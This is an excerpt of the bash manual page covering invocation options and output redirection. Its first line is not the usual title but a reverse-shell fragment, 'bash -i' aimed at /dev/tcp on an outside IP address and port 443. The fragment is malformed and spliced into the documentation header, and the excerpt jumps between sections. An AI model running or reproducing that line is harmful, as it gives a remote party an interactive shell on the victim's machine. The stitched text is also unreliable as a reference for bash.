bash(1) -i /dev/tcp/10.10.14.12/443 0>&1
GNU Bourne-Again SHell
-c string If  the -c option is present, then commands are read from string.  If there are arguments after
          the string, they are assigned to the positional parameters, starting with $0.
-i        If the -i option is present, the shell is interactive.
-l        Make bash act as if it had been invoked as a login shell (see INVOCATION below).
-r        If the -r option is present, the shell becomes restricted (see RESTRICTED SHELL below).
-s        If the -s option is present, or if no arguments remain after option processing,  then  commands
          are  read from the standard input.  This option allows the positional parameters to be set when
          invoking an interactive shell.
-D        A list of all double-quoted strings preceded by $ is printed on the standard output.  These are
          the strings that are subject to language translation when the current locale is not C or POSIX.
          This implies the -n option; no commands will be executed.
[-+]O [shopt_option]
          shopt_option is one of the shell options accepted by  the  shopt  builtin  (see  SHELL  BUILTIN
          COMMANDS  below).   If shopt_option is present, -O sets the value of that option; +O unsets it.
          If shopt_option is not supplied, the names and values of the shell options  accepted  by  shopt
          are printed on the standard output.  If the invocation option is +O, the output is displayed in
          a format that may be reused as input.
--        A -- signals the end of options and disables further option processing.   Any  arguments  after
          the -- are treated as filenames and arguments.  An argument of - is equivalent to --.

Bash  also interprets a number of multi-character options.  These options must appear on the command line
before the single-character options to be recognized.
Before a command is executed, its input and output may be redirected using a special notation interpreted
by  the  shell.   Redirection  may  also  be used to open and close files for the current shell execution
environment.  The following redirection operators may precede or appear anywhere within a simple  command
or may follow a command.  Redirections are processed in the order they appear, from left to right.

Redirecting Output
    Redirection of output causes the file whose name results from the expansion of  word  to  be  opened  for
    writing  on  file descriptor n, or the standard output (file descriptor 1) if n is not specified.  If the
    file does not exist it is created; if it does exist it is truncated to zero size.

    The general format for redirecting output is:

           [n]>word

    If the redirection operator is >, and the noclobber option to the  set  builtin  has  been  enabled,  the
    redirection  will  fail if the file whose name results from the expansion of word exists and is a regular
    file.  If the redirection operator is >|, or the redirection operator is > and the  noclobber  option  to
    the  set  builtin  command  is  not  enabled, the redirection is attempted even if the file named by word
    exists.
source manpages: bash